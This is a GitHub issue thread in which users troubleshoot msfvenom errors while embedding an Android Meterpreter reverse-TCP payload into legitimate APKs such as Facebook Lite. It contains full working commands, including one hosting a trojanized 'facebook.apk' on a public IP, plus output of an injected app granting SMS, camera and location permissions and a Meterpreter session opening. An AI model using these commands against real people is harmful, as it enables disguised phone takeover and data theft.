Closed 5h4d closed 2 years ago
I have a similar error...
Error: No such file or directory @ rb_sysopen - /tmp/d20200327-55265-jyajj1/original/AndroidManifest.xml
Using APK template: facebook.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.facebook.lite.hgoot
[] Loading /tmp/d20200618-4987-xerqmd/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
Using APK template: facebook.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [] Decompiling payload APK.. [] Locating hook point.. [] Adding payload as package com.facebook.lite.hgoot [] Loading /tmp/d20200618-4987-xerqmd/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload.. [] Poisoning the manifest with meterpreter permissions.. [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Rebuilding apk with meterpreter injection as /tmp/d20200618-4987-xerqmd/output.apk [] Signing /tmp/d20200618-4987-xerqmd/output.apk [*] Aligning /tmp/d20200618-4987-xerqmd/output.apk Error: No such file or directory @ rb_sysopen - /tmp/d20200618-4987-xerqmd/aligned.apk
help me please
Error: No such file or directory @ rb_sysopen - /tmp/d20200627-2746-4sdbr9/original/AndroidManifest.xml
hey ! all have you got any solution then write here or mail me :_ not4b@outlook.com
root@vps-0eac34ac:~# sudo /opt/metasploit/msfvenom -x /home/ubuntu/Documents/msfvenomtestvps/facebook-278-0-0-51-119.apk -p android/meterpreter/reverse_tcp LHOST=5.196.29.193 LPORT=4455 -o /var/www/html/facebook.apk
Using APK template: /home/ubuntu/Documents/msfvenomtestvps/facebook-278-0-0-51-119.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
Error: No such file or directory @ rb_sysopen - /tmp/d20200711-60198-rgip7/original/AndroidManifest.xml`
the same, can someone has found something
Steps to reproduce
1. msfvenom -x template.apk -p android/meterpreter/reverse_tcp lhost=[ip] lport=1234 -o payload.apk
Expected behavior
msfvenom should embed a reverse_tcp payload into the template.apk and save it as payload.apk
Current behavior
Using APK template: template.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /tmp/d20200319-15152-6affkv/original/AndroidManifest.xml
OS
Deepin OS
Metasploit version
5.0.81-dev-
Did you get any solution ?
I have a similar error...
Error: No such file or directory @ rb_sysopen - /tmp/d20200327-55265-jyajj1/original/AndroidManifest.xml
found anything ? please share
root@vps-0eac34ac:~# sudo /opt/metasploit/msfvenom -x /home/ubuntu/Documents/msfvenomtestvps/facebook-278-0-0-51-119.apk -p android/meterpreter/reverse_tcp LHOST=5.196.29.193 LPORT=4455 -o /var/www/html/facebook.apk Using APK template: /home/ubuntu/Documents/msfvenomtestvps/facebook-278-0-0-51-119.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [*] Creating signing key and keystore.. [*] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /tmp/d20200711-60198-rgip7/original/AndroidManifest.xml`
the same, can someone has found something
If you found anything please share
nah sorry ππ
On Sun, Jul 26, 2020, 18:57 ManojNarindi notifications@github.com wrote:
Steps to reproduce
- msfvenom -x template.apk -p android/meterpreter/reverse_tcp lhost=[ip] lport=1234 -o payload.apk
Expected behavior
msfvenom should embed a reverse_tcp payload into the template.apk and save it as payload.apk Current behavior
Using APK template: template.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /tmp/d20200319-15152-6affkv/original/AndroidManifest.xml OS
Deepin OS Metasploit version
5.0.81-dev-
Did you get any solution ?
β You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/13099#issuecomment-664013278, or unsubscribe https://github.com/notifications/unsubscribe-auth/AQHUFI6C6VAX7GQY2WSQ2ITR5RN6RANCNFSM4LPWMSOQ .
SOLUTION: I have downloaded an apk from 3rd party website . and it kept failing continuously i Tried all apt-get's and installed many other tools But i gave a last try with apk not from 3rd party i downloaded original apk from play store. and used Shareit (not available in play store now) to send that app to other device , where it only sends the apk, later which can be used to install i did used that apk and there are no errors this time Later that i started think, that apk which i downloaded from 3rd party website , must be already corrupted, no allowing apktool to decomplie it
Hope this will be help full
Thaaank you I'll try that and I'll inform you about that
On Mon, Jul 27, 2020, 06:54 ManojNarindi notifications@github.com wrote:
SOLUTION: I have downloaded an apk from 3rd party website . and it kept failing continuously i Tried all apt-get's and installed many other tools But i gave a last try with apk not from 3rd party i downloaded original apk from play store. and used Shareit (not available in play store now) to send that app to other device , where it only sends the apk, later which can be used to install i did used that apk and there are no errors this time Later that i started think, that apk which i downloaded from 3rd party website , must be already corrupted, no allowing apktool to decomplie it
Hope this will be help full
β You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/13099#issuecomment-664118228, or unsubscribe https://github.com/notifications/unsubscribe-auth/AQHUFIYURTQWSGDXAOJ3HVDR5UB7XANCNFSM4LPWMSOQ .
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. Itβs been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Aligning /tmp/d20201016-2187-2cv6aq/output.apk
it mean created at /tmp/d20201016-2187-2cv6aq/output.apk
You can find it at at /tmp/d20201016-2187-2cv6aq/ and find name output.apk
find name output.apk
just copy output.apk and install it
It work for me like simple app and can exsploit
sorry my english so bad.
same problem -_- Error: No such file or directory @ rb_sysopen - /tmp/d20201217-12626-q91dnb/aligned.apk
Same Problem in Kali Linux 20.04 Error: No such file or directory @ rb_sysopen - /tmp/d20201219-31728-bt552v/aligned.apk
Same Problem in Kali Linux 20.04 Error: No such file or directory @ rb_sysopen - /tmp/d20201228-3607-8usofy/aligned.apk k
I have a similar error...
Error: No such file or directory @ rb_sysopen - /tmp/d20200327-55265-jyajj1/original/AndroidManifest.xml
same here
Error: No such file or directory @ rb_sysopen problem please anyone give me soltion
βββ(rootπkali)-[/home/kali/Desktop]ββ# msfvenom -x neutrino_v3_2_0-334.apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=8080 -o /home/bndrmrtn/androidhack/Using APK template: neutrino_v3_2_0-334.apk[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload[-] No arch selected, selecting arch: dalvik from the payload[] Creating signing key and keystore..[] Decompiling original APK..[] Decompiling payload APK..[] Locating hook point..[] Adding payload as package neutrino.plus.nscqx[] Loading /tmp/d20210209-107242-1rk6p6d/original/smali/neutrino/plus/application/App.smali and injecting payload..[] Poisoning the manifest with meterpreter permissions..[] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Adding [] Rebuilding apk with meterpreter injection as /tmp/d20210209-107242-1rk6p6d/output.apk[] Signing /tmp/d20210209-107242-1rk6p6d/output.apk[*] Aligning /tmp/d20210209-107242-1rk6p6d/output.apkError: No such file or directory @ rb_sysopen - /tmp/d20210209-107242-1rk6p6d/aligned.apk
pls someone help
./msfvenom -p android/meterpreter/reverse_tcp LHOST=Your Ip LPORT=Your Port -o ~/storage/downloads/trojan.apk
this helped me
./msfvenom -p android/meterpreter/reverse_tcp LHOST=Your Ip LPORT=Your Port -o ~/storage/downloads/trojan.apk
this helped me
noob telling about binding app not a fresh creating!!
./msfvenom -p android/meterpreter/reverse_tcp LHOST=Your Ip LPORT=Your Port -o ~/storage/downloads/trojan.apk this helped me
noob telling about binding app not a fresh creating!!
are those different lol
i have the same issue going on got any alternative solution for this.?
No I couldnt find a Solution for this. Its almost a year now. and still no one knows how to Fix this Issue!
On Fri, Aug 20, 2021, 6:15 PM manish252488 @.***> wrote:
i have the same issue going on got any alternative solution for this.?
β You are receiving this because you commented. Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/13099#issuecomment-902703742, or unsubscribe https://github.com/notifications/unsubscribe-auth/AOBOZ3OS6EIUEHZZECYUFITT5ZMADANCNFSM4LPWMSOQ . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&utm_campaign=notification-email .
Hello i solved the issue 1-remove your apktool sudo apt remove apktool && sudo apt autoremove 2-Download apktool from offical site and you must be download 2.4.1 version 3-and setup the apktool installation steps exists in site 4-maybe your apk file if is damaged change apk file i'm tried facebook_lite.apk and now it's working with no problem
helpz
from the small screenshot, it looks like you are trying to write to a read only file system. try remounting the drive in rw mode, or writing to a writable location.
Any Solutions??
Experiencing the same error here... No valid solution yet please?
There are two primary issues in this thread (ignoring others due to user error, like using a read-only filesystem). These are discussed below.
No one has provided links to APK files to reproduce this issue, only APK file names (facebook.apk
and neutrino_v3_2_0-334.apk
), which makes diagnosing the issue difficult.
There are many reasons why decompiling and rebuilding may fail.
One common solution is updating apktool. Apktool is updated with bug fixes fairly frequently. The latest version is 2.6.1.
A few changes have been made to the APK parsing in Metasploit recently. These changes improve the error messages which will make debugging easier. These changes will land in Metasploit over the coming weeks.
AndroidManifest.xml
during decompilingError: No such file or directory @ rb_sysopen - /tmp/d20200319-15152-6affkv/original/AndroidManifest.xml
This issue occurs when parse_manifest
attempts to parse the AndroidManifest.xml
file, but the file does not exist. This is almost certainly due to apktool failing to decompile the APK file. This is likely an issue with apktool or the apktool installation, but may also be due to using a corrupted APK template file.
One possible issue is due to a broken symlink left behind after removing a version of apktool installed by operating system packages and manually installing a new version. (https://github.com/iBotPeaches/Apktool/issues/2669#issuecomment-966302410) This can be resolved by removing the symlink: rm ~/.local/share/apktool/framework/1.apk
I wasn't able to reproduce this issue using facebook_lite_v291.0.0.12.110.apk using apktool 2.6.0.
# ./msfvenom -x apks/facebook_lite_v291.0.0.12.110.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: apks/facebook_lite_v291.0.0.12.110.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.hhzra
[*] Loading /tmp/d20220306-942175-t6fqgg/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-942175-t6fqgg/output.apk
[*] Signing /tmp/d20220306-942175-t6fqgg/output.apk
[*] Aligning /tmp/d20220306-942175-t6fqgg/output.apk
Payload size: 1990166 bytes
Saved as: asdf.apk
However, it i worth noting that the generated APK does not install, possibly due to requiring version 2 signatures, which msfvenom does not support. Metasploit now supports signing with v2 signing scheme (#16294).
aligned.apk
during rebuilding of the APKThis issue occurs after the APK has been decompiled, injected, rebuilt, signed, and aligned. At this stage, everything is done, and the injected APK file output.apk
exists, but zipalign
failed write the aligned.apk
file to disk for some reason.
Error: No such file or directory @ rb_sysopen - /tmp/d20210209-107242-1rk6p6d/aligned.apk
It is not clear why this would happen. It is possible that one of the previous steps failed silently resulting in a corrupted APK. Hopefully the added error handling will make this more obvious.
I wasn't able to reproduce this issue using Neutrino_v1.9.1_apkpure.com.apk using apktool 2.6.0.
# ./msfvenom -x Neutrino_v1.9.1_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=4444 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: Neutrino_v1.9.1_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.pockybop.sociali.ksxzu
[*] Loading /tmp/d20220306-937925-yof66m/original/smali/com/pockybop/sociali/application/App.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220306-937925-yof66m/output.apk
[*] Signing /tmp/d20220306-937925-yof66m/output.apk
[*] Aligning /tmp/d20220306-937925-yof66m/output.apk
Payload size: 16656556 bytes
Saved as: asdf.apk
msf6 exploit(multi/handler) >
[*] Sending stage (78153 bytes) to 192.168.200.135
[*] Meterpreter session 11 opened (192.168.200.130:4444 -> 192.168.200.135:53048 ) at 2022-03-06 00:47:31 -0500
msf6 exploit(multi/handler) > sessions -i 11
[*] Starting interaction with 11...
meterpreter > getuid
Server username: u0_a158
meterpreter > pwd
/data/user/0/com.pockybop.sociali/files
meterpreter > ls
Listing: /data/user/0/com.pockybop.sociali/files
================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 0 fil 2022-03-06 00:47:49 -0500 firebase_inter_process_mutex-lock_write_report_to_sqlite.lock
040776/rwxrwxrw- 4096 dir 2022-03-06 00:47:49 -0500 oat
meterpreter >
Closing this issue as per comment https://github.com/rapid7/metasploit-framework/issues/13099#issuecomment-1059918908 above.
The APK parsing has been updated. A more useful error message should now be printed in the event that the underlying issues re-occur. In which case, a new issue should be created.
share original apk from the phone with shareit or something like that
SOLUTION FOR
Using APK template: template.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[*] Decompiling payload APK..
Error: No such file or directory @ rb_sysopen - /tmp/d20200319-15152-6affkv/original/AndroidManifest.xml
I used sudo
and it went well ... from embed.rb
the below command is executed to decompile apk
run_cmd(["apktool", "d", "-f", "-r", "--force-manifest", "-o", "#{cwd}/original", "#{cwd}/original.apk"])
Now i got this error any one with solution
[E]ββ€ I: Using Apktool 2.7.0
Exception in thread "main" java.lang.NumberFormatException: For input string: "b"
at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
at java.base/java.lang.Integer.parseInt(Integer.java:668)
at java.base/java.lang.Integer.parseInt(Integer.java:786)
at brut.androlib.res.AndrolibResources.mapSdkShorthandToVersion(AndrolibResources.java:668)
at brut.androlib.res.AndrolibResources.getMinSdkVersionFromAndroidCodename(AndrolibResources.java:638)
at brut.androlib.Androlib.build(Androlib.java:308)
at brut.androlib.Androlib.build(Androlib.java:287)
at brut.apktool.Main.cmdBuild(Main.java:263)
at brut.apktool.Main.main(Main.java:82)
β°[?]ββ€ For help going to https://t.me/Ivam3_Bot
./embed.rb:391:in `block in <main>': Unable to rebuild.. Retrying[1].. (RuntimeError)
from ./embed.rb:386:in `each'
from ./embed.rb:386:in `<main>'
Now i got this error any one with solution
This is most likely an issue with apktool rather than msfvenom
.
Which APK file are using as input to msfvenom
?
Do you still get this error with apktool version 2.8.1?
Problem still exit.. seems my apktool
is not working fine, I just
upgraded to apktool v2.8.1 but didn't work
On Wed, 26 Jul 2023 at 14:48, bcoles @.***> wrote:
Now i got this error any one with solution
This is most likely an issue with apktool rather than msfvenom.
Which APK file are using as input to msfvenom ?
Do you still get this error with apktool version 2.8.1?
β Reply to this email directly, view it on GitHub https://github.com/rapid7/metasploit-framework/issues/13099#issuecomment-1651652315, or unsubscribe https://github.com/notifications/unsubscribe-auth/BBGF4DGZW47IJYAJSCNAXRLXSD72VANCNFSM4LPWMSOQ . You are receiving this because you commented.Message ID: @.***>
Problem still exit.. seems my
apktool
is not working fine, I just upgraded to apktool v2.8.1 but didn't work
Which APK file are you using as input to msfvenom
?
Steps to reproduce
Expected behavior
msfvenom should embed a reverse_tcp payload into the template.apk and save it as payload.apk
Current behavior
Using APK template: template.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload [] Creating signing key and keystore.. [] Decompiling original APK.. [*] Decompiling payload APK.. Error: No such file or directory @ rb_sysopen - /tmp/d20200319-15152-6affkv/original/AndroidManifest.xml
OS
Deepin OS
Metasploit version
5.0.81-dev-